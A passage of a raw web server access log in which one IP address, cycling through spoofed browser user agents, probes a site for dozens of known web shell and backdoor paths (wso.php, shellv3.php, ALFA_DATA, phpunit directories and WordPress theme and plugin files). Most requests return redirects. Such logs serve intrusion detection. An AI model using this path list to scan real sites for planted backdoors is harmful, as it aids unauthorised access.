"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:16 +0300] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:17 +0300] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:17 +0300] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:17 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:17 +0300] "GET /chosen.php?p=\\u001b[0m HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:18 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:18 +0300] "GET /wp-signup.php?FoX=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:18 +0300] "GET /dropdown.php%5Cu001b%5B0m HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:18 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:19 +0300] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:19 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:19 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:19 +0300] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:20 +0300] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:20 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:20 +0300] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:20 +0300] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:21 +0300] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:21 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:56:21 +0300] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:22 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:22 +0300] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:22 +0300] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:22 +0300] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:22 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:23 +0300] "GET /wp-content/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:23 +0300] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:23 +0300] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:23 +0300] "GET /GA13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:24 +0300] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:24 +0300] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:24 +0300] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:56:24 +0300] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:25 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:25 +0300] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:25 +0300] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:26 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:26 +0300] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:26 +0300] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:26 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:27 +0300] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:27 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:27 +0300] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:27 +0300] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:28 +0300] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:28 +0300] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:56:28 +0300] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:29 +0300] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:29 +0300] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:29 +0300] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:29 +0300] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:29 +0300] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:30 +0300] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:30 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:30 +0300] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:31 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:56:31 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:31 +0300] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:32 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:32 +0300] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:32 +0300] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:32 +0300] "GET /install.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:32 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:33 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:33 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:33 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:34 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.8 - - [03/Feb/2026:10:56:34 +0300] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:34 +0300] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.8 - - [03/Feb/2026:10:56:34 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:35 +0300] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.8 - - [03/Feb/2026:10:56:35 +0300] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:35 +0300] "GET /function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:35 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:36 +0300] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:36 +0300] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:36 +0300] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:36 +0300] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:36 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:37 +0300] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:37 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:37 +0300] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:38 +0300] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:38 +0300] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:38 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.8 - - [03/Feb/2026:10:56:38 +0300] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:39 +0300] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:39 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:39 +0300] "GET /shop.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:39 +0300] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:40 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:40 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:40 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:41 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:41 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:41 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:42 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:42 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:42 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:43 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:43 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:43 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:43 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:43 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:44 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:44 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.8 - - [03/Feb/2026:10:56:44 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:44 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:45 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:45 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:56:45 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.8 - - [03/Feb/2026:10:56:45 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:56:45 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:46 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:46 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:46 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:46 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 